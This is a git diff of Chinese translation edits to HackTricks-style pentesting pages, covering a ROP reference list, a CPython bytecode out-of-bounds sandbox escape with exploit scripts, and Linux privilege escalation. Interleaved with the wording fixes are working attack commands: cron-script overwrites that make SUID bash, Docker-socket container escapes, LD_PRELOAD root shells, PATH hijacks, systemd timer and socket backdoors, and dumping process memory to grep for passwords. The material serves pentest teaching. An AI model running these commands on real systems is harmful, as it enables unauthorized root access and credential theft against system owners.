- 64 位,溢出一个的利用,使用以 ret sled 开头的 rop 链
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 位,无 relro、canary、nx 和 pie。该程序为堆栈或 pie 提供了泄漏和一个 qword 的 WWW。首先获取堆栈泄漏,然后使用 WWW 返回获取 pie 泄漏。然后使用 WWW 创建一个利用 `.fini_array` 条目 + 调用 `__libc_csu_fini` 的永恒循环([更多信息在这里](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md))。利用这个“永恒”的写入,在 .bss 中写入一个 ROP 链并最终调用它,使用 RBP 进行枢轴。
|
||||
- Linux 内核文档:控制流保护技术(CET)阴影堆栈 — 关于 SHSTK、`nousershstk`、`/proc/$PID/status` 标志和通过 `arch_prctl` 启用的详细信息。 https://www.kernel.org/doc/html/next/x86/shstk.html
|
||||
- Microsoft Learn:内核模式硬件强制堆栈保护(Windows 上的 CET 阴影堆栈)。 https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
|
||||
- 64 位,无 relro、canary、nx 和 pie。该程序为栈或 pie 提供了泄漏和一个 qword 的 WWW。首先获取栈泄漏,然后使用 WWW 返回获取 pie 泄漏。然后使用 WWW 创建一个利用 `.fini_array` 条目 + 调用 `__libc_csu_fini` 的永恒循环([更多信息在这里](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md))。利用这个“永恒”的写入,在 .bss 中写入一个 ROP 链并最终调用它,使用 RBP 进行枢轴。
|
||||
- Linux 内核文档:控制流保护技术(CET)影子栈 — 关于 SHSTK、`nousershstk`、`/proc/$PID/status` 标志和通过 `arch_prctl` 启用的详细信息。 https://www.kernel.org/doc/html/next/x86/shstk.html
|
||||
- Microsoft Learn:内核模式硬件强制栈保护(Windows 上的 CET 影子栈)。 https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -39,7 +39,7 @@ print(eval(code, {'__builtins__': {}}))1234
|
||||
|
||||
解决方案的核心概念很简单。在 CPython 中,一些操作码,例如 `LOAD_NAME` 和 `LOAD_CONST`,对越界读取是脆弱的(?)。
|
||||
|
||||
它们从 `consts` 或 `names` 元组中的索引 `oparg` 检索对象(这就是 `co_consts` 和 `co_names` 在底层的名称)。我们可以参考以下关于 `LOAD_CONST` 的简短代码片段,看看 CPython 在处理 `LOAD_CONST` 操作码时所做的。
|
||||
它们从 `consts` 或 `names` 元组中的索引 `oparg` 检索对象(这就是 `co_consts` 和 `co_names` 在底层的名称)。我们可以参考以下关于 `LOAD_CONST` 的简短代码片段,看看 CPython 在处理 `LOAD_CONST` 操作码时的行为。
|
||||
```c
|
||||
case TARGET(LOAD_CONST): {
|
||||
PREDICTED(LOAD_CONST);
|
||||
@ -49,21 +49,21 @@ PUSH(value);
|
||||
FAST_DISPATCH();
|
||||
}1234567
|
||||
```
|
||||
通过这种方式,我们可以使用 OOB 特性从任意内存偏移获取一个 "name"。为了确保它的名称和偏移量是什么,只需不断尝试 `LOAD_NAME 0`,`LOAD_NAME 1` ... `LOAD_NAME 99` ... 你可以在大约 oparg > 700 的地方找到一些东西。当然,你也可以尝试使用 gdb 查看内存布局,但我认为这并不会更容易?
|
||||
通过这种方式,我们可以使用 OOB 功能从任意内存偏移量获取一个“名称”。为了确保它的名称和偏移量是什么,只需不断尝试 `LOAD_NAME 0`,`LOAD_NAME 1` ... `LOAD_NAME 99` ... 你可能会在大约 oparg > 700 的地方找到一些东西。当然,你也可以尝试使用 gdb 查看内存布局,但我认为这并不会更容易?
|
||||
|
||||
### 生成漏洞利用 <a href="#generating-the-exploit" id="generating-the-exploit"></a>
|
||||
### 生成利用代码 <a href="#generating-the-exploit" id="generating-the-exploit"></a>
|
||||
|
||||
一旦我们检索到这些有用的名称/常量偏移,我们如何从该偏移获取名称/常量并使用它呢?这里有一个技巧:\
|
||||
假设我们可以从偏移 5 (`LOAD_NAME 5`) 获取一个 `__getattribute__` 名称,且 `co_names=()`,那么只需执行以下操作:
|
||||
一旦我们检索到这些有用的名称/常量偏移量,我们如何从该偏移量获取名称/常量并使用它呢?这里有一个技巧:\
|
||||
假设我们可以从偏移量 5 (`LOAD_NAME 5`) 获取一个 `__getattribute__` 名称,且 `co_names=()`,那么只需执行以下操作:
|
||||
```python
|
||||
[a,b,c,d,e,__getattribute__] if [] else [
|
||||
[].__getattribute__
|
||||
# you can get the __getattribute__ method of list object now!
|
||||
]1234
|
||||
```
|
||||
> 注意,不必将其命名为 `__getattribute__`,您可以将其命名为更短或更奇怪的名称
|
||||
> 注意,命名为 `__getattribute__` 并不是必需的,你可以将其命名为更短或更奇怪的名称
|
||||
|
||||
您只需查看其字节码即可理解原因:
|
||||
你只需查看它的字节码即可理解其原因:
|
||||
```python
|
||||
0 BUILD_LIST 0
|
||||
2 POP_JUMP_IF_FALSE 20
|
||||
@ -93,7 +93,7 @@ FAST_DISPATCH();
|
||||
|
||||
我没有使用常量是因为长度限制。
|
||||
|
||||
首先,这里有一个脚本可以帮助我们找到这些名称的偏移量。
|
||||
首先,这里有一个脚本供我们查找这些名称的偏移量。
|
||||
```python
|
||||
from types import CodeType
|
||||
from opcode import opmap
|
||||
@ -128,7 +128,7 @@ print(f'{n}: {ret}')
|
||||
|
||||
# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
|
||||
```
|
||||
以下是生成真实Python漏洞利用的内容。
|
||||
以下内容用于生成真实的Python漏洞利用。
|
||||
```python
|
||||
import sys
|
||||
import unicodedata
|
||||
@ -225,13 +225,13 @@ builtins['eval'](builtins['input']())
|
||||
- CPython 字节码操作码仍然通过整数操作数索引 `co_consts` 和 `co_names` 元组。如果攻击者能够强制这些元组为空(或小于字节码使用的最大索引),解释器将为该索引读取越界内存,从附近内存中获取任意 PyObject 指针。相关操作码至少包括:
|
||||
- `LOAD_CONST consti` → 读取 `co_consts[consti]`。
|
||||
- `LOAD_NAME namei`,`STORE_NAME`,`DELETE_NAME`,`LOAD_GLOBAL`,`STORE_GLOBAL`,`IMPORT_NAME`,`IMPORT_FROM`,`LOAD_ATTR`,`STORE_ATTR` → 从 `co_names[...]` 读取名称(对于 3.11+ 注意 `LOAD_ATTR`/`LOAD_GLOBAL` 在低位存储标志位;实际索引为 `namei >> 1`)。有关每个版本的确切语义,请参见反汇编文档。[Python dis docs]。
|
||||
- Python 3.11+ 引入了自适应/内联缓存,在指令之间添加了隐藏的 `CACHE` 条目。这并不改变 OOB 原语;它仅意味着如果您手动构建字节码,则在构建 `co_code` 时必须考虑这些缓存条目。
|
||||
- Python 3.11+ 引入了自适应/内联缓存,在指令之间添加了隐藏的 `CACHE` 条目。这并不改变 OOB 原语;这仅意味着如果你手工制作字节码,必须在构建 `co_code` 时考虑这些缓存条目。
|
||||
|
||||
实际影响:当您可以控制代码对象(例如,通过 `CodeType.replace(...)`)并缩小 `co_consts`/`co_names` 时,本页中的技术在 CPython 3.11、3.12 和 3.13 上继续有效。
|
||||
实际影响:当你可以控制代码对象(例如,通过 `CodeType.replace(...)`)并缩小 `co_consts`/`co_names` 时,本页中的技术在 CPython 3.11、3.12 和 3.13 上继续有效。
|
||||
|
||||
### 用于有用 OOB 索引的快速扫描器 (3.11+/3.12+ 兼容)
|
||||
|
||||
如果您更喜欢直接从字节码探测有趣的对象,而不是从高级源代码,您可以生成最小代码对象并暴力破解索引。下面的助手在需要时会自动插入内联缓存。
|
||||
如果你更喜欢直接从字节码探测有趣的对象,而不是从高级源代码,你可以生成最小代码对象并暴力破解索引。下面的助手在需要时会自动插入内联缓存。
|
||||
```python
|
||||
import dis, types
|
||||
|
||||
@ -276,7 +276,7 @@ print(idx, type(obj), repr(obj)[:80])
|
||||
|
||||
### 最小字节码 RCE 模式 (co_consts OOB → builtins → eval/input)
|
||||
|
||||
一旦您识别出解析为内置模块的 `co_consts` 索引,您可以通过操纵堆栈重建 `eval(input())`,而无需任何 `co_names`:
|
||||
一旦您识别出解析为内置模块的 `co_consts` 索引,您可以通过操纵堆栈重构 `eval(input())`,而无需任何 `co_names`:
|
||||
```python
|
||||
# Build co_code that:
|
||||
# 1) LOAD_CONST <builtins_idx> → push builtins module
|
||||
|
||||
@ -45,7 +45,7 @@ curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2
|
||||
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)(在受害者上执行,仅检查2.x内核的漏洞)
|
||||
|
||||
始终**在Google中搜索内核版本**,也许你的内核版本在某个内核漏洞中被写入,这样你就可以确定这个漏洞是有效的。
|
||||
始终**在Google中搜索内核版本**,也许你的内核版本在某个内核漏洞中被写入,这样你就可以确定该漏洞是有效的。
|
||||
|
||||
### CVE-2016-5195 (DirtyCow)
|
||||
|
||||
@ -131,7 +131,7 @@ docker-security/
|
||||
|
||||
## Drives
|
||||
|
||||
检查**已挂载和未挂载的内容**,以及它们的位置和原因。如果有任何内容未挂载,你可以尝试挂载它并检查私人信息。
|
||||
检查**哪些是已挂载和未挂载的**,在哪里以及为什么。如果有任何未挂载的,你可以尝试挂载它并检查私人信息。
|
||||
```bash
|
||||
ls /dev 2>/dev/null | grep -i "sd"
|
||||
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
|
||||
@ -150,7 +150,7 @@ which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb bas
|
||||
```
|
||||
### 安装的易受攻击软件
|
||||
|
||||
检查**已安装软件包和服务的版本**。可能存在某个旧版的Nagios(例如),可以被利用来提升权限…\
|
||||
检查**已安装软件包和服务的版本**。可能存在某些旧版的Nagios(例如),可以被利用来提升权限…\
|
||||
建议手动检查更可疑的已安装软件的版本。
|
||||
```bash
|
||||
dpkg -l #Debian
|
||||
@ -186,7 +186,7 @@ top -n 1
|
||||
>
|
||||
> 文件 _**/proc/sys/kernel/yama/ptrace_scope**_ 控制 ptrace 的可访问性:
|
||||
>
|
||||
> - **kernel.yama.ptrace_scope = 0**:所有进程都可以被调试,只要它们具有相同的 uid。这是 ptracing 工作的经典方式。
|
||||
> - **kernel.yama.ptrace_scope = 0**:所有进程都可以被调试,只要它们具有相同的 uid。这是 ptracing 的经典工作方式。
|
||||
> - **kernel.yama.ptrace_scope = 1**:只有父进程可以被调试。
|
||||
> - **kernel.yama.ptrace_scope = 2**:只有管理员可以使用 ptrace,因为它需要 CAP_SYS_PTRACE 能力。
|
||||
> - **kernel.yama.ptrace_scope = 3**:不允许使用 ptrace 跟踪任何进程。一旦设置,需要重启才能再次启用 ptracing。
|
||||
@ -215,7 +215,7 @@ done
|
||||
```
|
||||
#### /proc/$pid/maps & /proc/$pid/mem
|
||||
|
||||
对于给定的进程 ID,**maps 显示该进程的** 虚拟地址空间内如何映射内存;它还显示 **每个映射区域的权限**。**mem** 伪文件 **暴露了进程的内存本身**。从 **maps** 文件中,我们知道哪些 **内存区域是可读的** 及其偏移量。我们使用这些信息 **在 mem 文件中查找并将所有可读区域转储到文件中**。
|
||||
对于给定的进程 ID,**maps 显示该进程的** 虚拟地址空间内内存的映射方式;它还显示 **每个映射区域的权限**。**mem** 伪文件 **暴露了进程的内存本身**。通过 **maps** 文件,我们知道哪些 **内存区域是可读的** 及其偏移量。我们使用这些信息 **在 mem 文件中查找并将所有可读区域转储到文件中**。
|
||||
```bash
|
||||
procdump()
|
||||
(
|
||||
@ -291,7 +291,7 @@ strings *.dump | grep -i password
|
||||
该工具 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) 将 **从内存中窃取明文凭据** 和一些 **知名文件**。它需要 root 权限才能正常工作。
|
||||
|
||||
| 特性 | 进程名称 |
|
||||
| ------------------------------------------------ | --------------------- |
|
||||
| ------------------------------------------------ | -------------------- |
|
||||
| GDM 密码(Kali 桌面,Debian 桌面) | gdm-password |
|
||||
| Gnome 密钥环(Ubuntu 桌面,ArchLinux 桌面) | gnome-keyring-daemon |
|
||||
| LightDM(Ubuntu 桌面) | lightdm |
|
||||
@ -325,7 +325,7 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
|
||||
|
||||
例如,在 _/etc/crontab_ 中可以找到 PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
|
||||
|
||||
(_注意用户 "user" 对 /home/user 具有写权限_)
|
||||
(_注意用户 "user" 对 /home/user 具有写入权限_)
|
||||
|
||||
如果在这个 crontab 中,root 用户尝试执行某个命令或脚本而没有设置路径。例如: _\* \* \* \* root overwrite.sh_\
|
||||
然后,你可以通过使用以下方式获得 root shell:
|
||||
@ -340,7 +340,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
```bash
|
||||
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
|
||||
```
|
||||
**如果通配符前面有一个路径,比如** _**/some/path/\***_ **,那么它就不容易受到攻击(即使是** _**./\***_ **也不行)。**
|
||||
**如果通配符前面有一个路径,比如** _**/some/path/\***_ **,那么它是安全的(即使是** _**./\***_ **也不是)。**
|
||||
|
||||
阅读以下页面以获取更多通配符利用技巧:
|
||||
|
||||
@ -350,7 +350,7 @@ wildcards-spare-tricks.md
|
||||
|
||||
### Cron 脚本覆盖和符号链接
|
||||
|
||||
如果你**可以修改一个由 root 执行的 cron 脚本**,你可以非常容易地获得一个 shell:
|
||||
如果你**可以修改一个由 root 执行的 cron 脚本**,你可以很容易地获得一个 shell:
|
||||
```bash
|
||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
||||
#Wait until it is executed
|
||||
@ -399,7 +399,7 @@ ExecStart=faraday-server
|
||||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||||
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
|
||||
```
|
||||
然后,在您可以写入的 systemd PATH 文件夹中创建一个 **可执行文件**,其 **名称与相对路径二进制文件相同**,当服务被要求执行脆弱的操作(**启动**,**停止**,**重新加载**)时,您的 **后门将被执行**(普通用户通常无法启动/停止服务,但请检查您是否可以使用 `sudo -l`)。
|
||||
然后,在您可以写入的 systemd PATH 文件夹中创建一个 **可执行文件**,其 **名称与相对路径二进制文件相同**,当服务被要求执行脆弱操作(**启动**,**停止**,**重新加载**)时,您的 **后门将被执行**(普通用户通常无法启动/停止服务,但请检查您是否可以使用 `sudo -l`)。
|
||||
|
||||
**了解有关服务的更多信息,请参见 `man systemd.service`。**
|
||||
|
||||
@ -413,20 +413,20 @@ systemctl list-timers --all
|
||||
```
|
||||
### 可写定时器
|
||||
|
||||
如果您可以修改定时器,则可以使其执行某些 systemd.unit 的实例(例如 `.service` 或 `.target`)
|
||||
如果您可以修改定时器,则可以使其执行一些 systemd.unit 的实例(例如 `.service` 或 `.target`)
|
||||
```bash
|
||||
Unit=backdoor.service
|
||||
```
|
||||
在文档中,您可以阅读到单位的定义:
|
||||
在文档中,您可以阅读单位的定义:
|
||||
|
||||
> 当此计时器到期时要激活的单位。参数是单位名称,其后缀不是“.timer”。如果未指定,则此值默认为与计时器单位同名的服务,后缀除外。(见上文。)建议激活的单位名称和计时器单位的单位名称在后缀之外是相同的。
|
||||
> 当此计时器到期时要激活的单位。参数是单位名称,其后缀不是“.timer”。如果未指定,则此值默认为与计时器单位同名的服务,除了后缀外。(见上文。)建议激活的单位名称和计时器单位的单位名称在名称上保持一致,除了后缀。
|
||||
|
||||
因此,要滥用此权限,您需要:
|
||||
|
||||
- 找到某个 systemd 单元(如 `.service`),该单元正在 **执行一个可写的二进制文件**
|
||||
- 找到某个 systemd 单元,该单元正在 **执行一个相对路径**,并且您对 **systemd PATH** 具有 **可写权限**(以伪装该可执行文件)
|
||||
|
||||
**了解更多关于计时器的信息,请使用 `man systemd.timer`。**
|
||||
**了解有关计时器的更多信息,请使用 `man systemd.timer`。**
|
||||
|
||||
### **启用计时器**
|
||||
|
||||
@ -445,20 +445,20 @@ Unix 域套接字 (UDS) 使得在客户端-服务器模型中同一台或不同
|
||||
|
||||
**通过 `man systemd.socket` 了解更多关于套接字的信息。** 在此文件中,可以配置几个有趣的参数:
|
||||
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项不同,但总结用于 **指示它将监听的位置**(AF_UNIX 套接字文件的路径,IPv4/6 和/或要监听的端口号等)
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项不同,但总结用于 **指示它将监听的位置**(AF_UNIX 套接字文件的路径,监听的 IPv4/6 和/或端口号等)
|
||||
- `Accept`: 接受一个布尔参数。如果 **true**,则为每个传入连接 **生成一个服务实例**,并且仅将连接套接字传递给它。如果 **false**,则所有监听套接字本身 **传递给启动的服务单元**,并且仅为所有连接生成一个服务单元。对于数据报套接字和 FIFO,此值被忽略,因为单个服务单元无条件处理所有传入流量。**默认为 false**。出于性能原因,建议仅以适合 `Accept=no` 的方式编写新守护进程。
|
||||
- `ExecStartPre`, `ExecStartPost`: 接受一个或多个命令行,这些命令在监听 **套接字**/FIFO 被 **创建** 和绑定之前或之后 **执行**。命令行的第一个标记必须是绝对文件名,后面跟着进程的参数。
|
||||
- `ExecStopPre`, `ExecStopPost`: 在监听 **套接字**/FIFO 被 **关闭** 和移除之前或之后 **执行** 的附加 **命令**。
|
||||
- `Service`: 指定 **在传入流量上激活的** **服务** 单元名称。此设置仅允许用于 Accept=no 的套接字。默认为与套接字同名的服务(后缀被替换)。在大多数情况下,不需要使用此选项。
|
||||
- `ExecStopPre`, `ExecStopPost`: 在监听 **套接字**/FIFO 被 **关闭** 和移除之前或之后 **执行** 的额外 **命令**。
|
||||
- `Service`: 指定 **在传入流量** 上 **激活** 的 **服务** 单元名称。此设置仅允许用于 Accept=no 的套接字。默认为与套接字同名的服务(后缀被替换)。在大多数情况下,不需要使用此选项。
|
||||
|
||||
### 可写的 .socket 文件
|
||||
|
||||
如果您发现一个 **可写** 的 `.socket` 文件,可以在 `[Socket]` 部分的开头添加类似 `ExecStartPre=/home/kali/sys/backdoor` 的内容,后门将在套接字创建之前执行。因此,您 **可能需要等到机器重启。**\
|
||||
_注意,系统必须使用该套接字文件配置,否则后门将不会被执行_
|
||||
_请注意,系统必须使用该套接字文件配置,否则后门将不会被执行_
|
||||
|
||||
### 可写套接字
|
||||
|
||||
如果您 **识别到任何可写套接字**(_现在我们谈论的是 Unix 套接字,而不是配置 `.socket` 文件_),那么 **您可以与该套接字通信**,并可能利用一个漏洞。
|
||||
如果您 **识别到任何可写套接字**(_现在我们谈论的是 Unix 套接字,而不是配置 `.socket` 文件_),那么 **您可以与该套接字进行通信**,并可能利用一个漏洞。
|
||||
|
||||
### 枚举 Unix 套接字
|
||||
```bash
|
||||
@ -485,15 +485,15 @@ socket-command-injection.md
|
||||
```bash
|
||||
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
||||
```
|
||||
如果套接字**响应一个HTTP**请求,那么你可以**与之通信**并可能**利用某些漏洞**。
|
||||
如果套接字 **响应一个 HTTP** 请求,那么你可以 **与其通信**,并可能 **利用某些漏洞**。
|
||||
|
||||
### 可写的 Docker 套接字
|
||||
|
||||
Docker 套接字,通常位于 `/var/run/docker.sock`,是一个关键文件,应该被保护。默认情况下,它对 `root` 用户和 `docker` 组的成员是可写的。拥有对这个套接字的写入权限可能导致特权升级。以下是如何做到这一点的分解,以及在 Docker CLI 不可用时的替代方法。
|
||||
Docker 套接字,通常位于 `/var/run/docker.sock`,是一个关键文件,应该被保护。默认情况下,它对 `root` 用户和 `docker` 组的成员是可写的。拥有对这个套接字的写访问权限可能导致特权升级。以下是如何做到这一点的分解,以及在 Docker CLI 不可用时的替代方法。
|
||||
|
||||
#### **使用 Docker CLI 进行特权升级**
|
||||
|
||||
如果你对 Docker 套接字具有写入权限,可以使用以下命令来提升特权:
|
||||
如果你对 Docker 套接字具有写访问权限,可以使用以下命令来提升特权:
|
||||
```bash
|
||||
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
|
||||
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
|
||||
@ -522,7 +522,7 @@ curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.so
|
||||
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
|
||||
```
|
||||
|
||||
3. **附加到容器:** 使用 `socat` 建立与容器的连接,启用在其中执行命令。
|
||||
3. **附加到容器:** 使用 `socat` 建立与容器的连接,从而在其中执行命令。
|
||||
|
||||
```bash
|
||||
socat - UNIX-CONNECT:/var/run/docker.sock
|
||||
@ -532,13 +532,13 @@ Connection: Upgrade
|
||||
Upgrade: tcp
|
||||
```
|
||||
|
||||
在设置 `socat` 连接后,您可以直接在容器中以根级别访问主机的文件系统执行命令。
|
||||
在设置好 `socat` 连接后,您可以直接在容器中执行命令,拥有对主机文件系统的根级别访问权限。
|
||||
|
||||
### 其他
|
||||
|
||||
请注意,如果您对 Docker 套接字具有写权限,因为您**在 `docker` 组内**,您有[**更多的权限提升方式**](interesting-groups-linux-pe/index.html#docker-group)。如果[**docker API 在某个端口上监听**,您也可以妥协它](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。
|
||||
请注意,如果您对 Docker 套接字具有写权限,因为您**在 `docker` 组内**,您有[**更多的权限提升方式**](interesting-groups-linux-pe/index.html#docker-group)。如果[**docker API 在某个端口上监听,您也可能能够妥协它**](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。
|
||||
|
||||
查看**更多从 Docker 中突破或滥用它以提升权限的方法**在:
|
||||
查看**更多从 Docker 中突破或滥用它以提升权限的方法**:
|
||||
|
||||
{{#ref}}
|
||||
docker-security/
|
||||
@ -562,9 +562,9 @@ runc-privilege-escalation.md
|
||||
|
||||
## **D-Bus**
|
||||
|
||||
D-Bus 是一个复杂的 **进程间通信 (IPC) 系统**,使应用程序能够高效地交互和共享数据。它是为现代 Linux 系统设计的,提供了一个强大的框架用于不同形式的应用程序通信。
|
||||
D-Bus 是一个复杂的 **进程间通信 (IPC) 系统**,使应用程序能够高效地交互和共享数据。它是为现代 Linux 系统设计的,提供了一个强大的框架,用于不同形式的应用程序通信。
|
||||
|
||||
该系统灵活多变,支持基本的 IPC,增强了进程之间的数据交换,类似于 **增强的 UNIX 域套接字**。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,来自蓝牙守护进程的关于来电的信号可以促使音乐播放器静音,从而提升用户体验。此外,D-Bus 支持远程对象系统,简化了应用程序之间的服务请求和方法调用,简化了传统上复杂的过程。
|
||||
该系统灵活多变,支持基本的 IPC,增强了进程之间的数据交换,类似于 **增强的 UNIX 域套接字**。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,来自蓝牙守护进程的信号关于来电可以促使音乐播放器静音,从而提升用户体验。此外,D-Bus 支持远程对象系统,简化了应用程序之间的服务请求和方法调用,简化了传统上复杂的过程。
|
||||
|
||||
D-Bus 基于 **允许/拒绝模型**,根据匹配策略规则的累积效果管理消息权限(方法调用、信号发射等)。这些策略指定与总线的交互,可能通过利用这些权限来允许权限提升。
|
||||
|
||||
@ -579,7 +579,7 @@ D-Bus 基于 **允许/拒绝模型**,根据匹配策略规则的累积效果
|
||||
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
|
||||
</policy>
|
||||
```
|
||||
**学习如何枚举和利用 D-Bus 通信:**
|
||||
**了解如何枚举和利用 D-Bus 通信:**
|
||||
|
||||
{{#ref}}
|
||||
d-bus-enumeration-and-command-injection-privilege-escalation.md
|
||||
@ -629,7 +629,7 @@ timeout 1 tcpdump
|
||||
|
||||
### 通用枚举
|
||||
|
||||
检查 **who** 你是,拥有的 **privileges**,系统中有哪些 **users**,哪些可以 **login**,哪些具有 **root privileges**:
|
||||
检查 **who** 你是,您拥有的 **privileges**,系统中有哪些 **users**,哪些可以 **login**,哪些具有 **root privileges**:
|
||||
```bash
|
||||
#Info about me
|
||||
id || (whoami && groups) 2>/dev/null
|
||||
@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null
|
||||
```
|
||||
### Big UID
|
||||
|
||||
一些Linux版本受到一个漏洞的影响,允许**UID > INT_MAX**的用户提升权限。更多信息:[here](https://gitlab.freedesktop.org/polkit/polkit/issues/74),[here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) 和 [here](https://twitter.com/paragonsec/status/1071152249529884674)。\
|
||||
某些Linux版本受到一个漏洞的影响,该漏洞允许**UID > INT_MAX**的用户提升权限。更多信息:[here](https://gitlab.freedesktop.org/polkit/polkit/issues/74),[here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) 和 [here](https://twitter.com/paragonsec/status/1071152249529884674)。\
|
||||
**利用它**使用:**`systemd-run -t /bin/bash`**
|
||||
|
||||
### Groups
|
||||
@ -683,22 +683,22 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
|
||||
```
|
||||
### 已知密码
|
||||
|
||||
如果您**知道环境中的任何密码**,请尝试使用该密码**以每个用户身份登录**。
|
||||
如果您**知道环境中的任何密码**,请尝试使用该密码**登录每个用户**。
|
||||
|
||||
### Su Brute
|
||||
|
||||
如果您不介意制造大量噪音,并且计算机上存在`su`和`timeout`二进制文件,您可以尝试使用[su-bruteforce](https://github.com/carlospolop/su-bruteforce)进行暴力破解用户。\
|
||||
如果您不介意制造很多噪音,并且计算机上存在`su`和`timeout`二进制文件,您可以尝试使用[su-bruteforce](https://github.com/carlospolop/su-bruteforce)进行暴力破解用户。\
|
||||
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 使用`-a`参数也会尝试暴力破解用户。
|
||||
|
||||
## 可写的 PATH 滥用
|
||||
|
||||
### $PATH
|
||||
|
||||
如果您发现可以**在$PATH的某个文件夹内写入**,您可能能够通过**在可写文件夹内创建一个后门**,其名称为将由其他用户(理想情况下是root)执行的某个命令,并且该命令**不是从位于$PATH中您可写文件夹之前的文件夹加载的**,来提升权限。
|
||||
如果您发现可以**在 $PATH 的某个文件夹内写入**,您可能能够通过**在可写文件夹内创建一个后门**,其名称为将由其他用户(理想情况下是 root)执行的某个命令,并且该命令**不是从位于您可写文件夹之前的文件夹加载的**,来提升权限。
|
||||
|
||||
### SUDO 和 SUID
|
||||
|
||||
您可能被允许使用sudo执行某些命令,或者它们可能具有suid位。请使用以下命令检查:
|
||||
您可能被允许使用 sudo 执行某些命令,或者它们可能具有 suid 位。使用以下命令检查:
|
||||
```bash
|
||||
sudo -l #Check commands you can execute with sudo
|
||||
find / -perm -4000 2>/dev/null #Find all SUID binaries
|
||||
@ -763,9 +763,9 @@ export PATH=/tmp:$PATH
|
||||
#Put your backdoor in /tmp and name it "less"
|
||||
sudo less
|
||||
```
|
||||
这种技术也可以在**suid**二进制文件**执行另一个命令而不指定路径时使用(始终检查**_**strings**_**工具查看奇怪的SUID二进制文件的内容)**。
|
||||
这种技术也可以在**suid**二进制文件**执行另一个命令而不指定路径时使用(始终检查**_**strings**_ **内容的奇怪SUID二进制文件)**。
|
||||
|
||||
[执行的有效载荷示例。](payloads-to-execute.md)
|
||||
[Payload examples to execute.](payloads-to-execute.md)
|
||||
|
||||
### 带命令路径的SUID二进制文件
|
||||
|
||||
@ -784,10 +784,10 @@ export -f /usr/sbin/service
|
||||
|
||||
然而,为了维护系统安全并防止此功能被利用,特别是在**suid/sgid**可执行文件中,系统强制执行某些条件:
|
||||
|
||||
- 加载器忽略**LD_PRELOAD**对于真实用户ID(_ruid_)与有效用户ID(_euid_)不匹配的可执行文件。
|
||||
- 对于真实用户ID(_ruid_)与有效用户ID(_euid_)不匹配的可执行文件,加载器会忽略**LD_PRELOAD**。
|
||||
- 对于具有suid/sgid的可执行文件,仅在标准路径中且也具有suid/sgid的库会被预加载。
|
||||
|
||||
如果你有能力使用`sudo`执行命令,并且`sudo -l`的输出包含语句**env_keep+=LD_PRELOAD**,则可能发生权限提升。此配置允许**LD_PRELOAD**环境变量持续存在并被识别,即使在使用`sudo`运行命令时,这可能导致以提升的权限执行任意代码。
|
||||
如果你有能力使用`sudo`执行命令,并且`sudo -l`的输出包含语句**env_keep+=LD_PRELOAD**,则可能发生权限提升。此配置允许**LD_PRELOAD**环境变量在使用`sudo`运行命令时保持并被识别,这可能导致以提升的权限执行任意代码。
|
||||
```
|
||||
Defaults env_keep += LD_PRELOAD
|
||||
```
|
||||
@ -814,7 +814,7 @@ gcc -fPIC -shared -o pe.so pe.c -nostartfiles
|
||||
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 如果攻击者控制了 **LD_LIBRARY_PATH** 环境变量,则可以滥用类似的特权提升,因为他控制了将要搜索库的路径。
|
||||
> 如果攻击者控制了 **LD_LIBRARY_PATH** 环境变量,则可以滥用类似的权限提升,因为他控制了将要搜索库的路径。
|
||||
```c
|
||||
#include <stdio.h>
|
||||
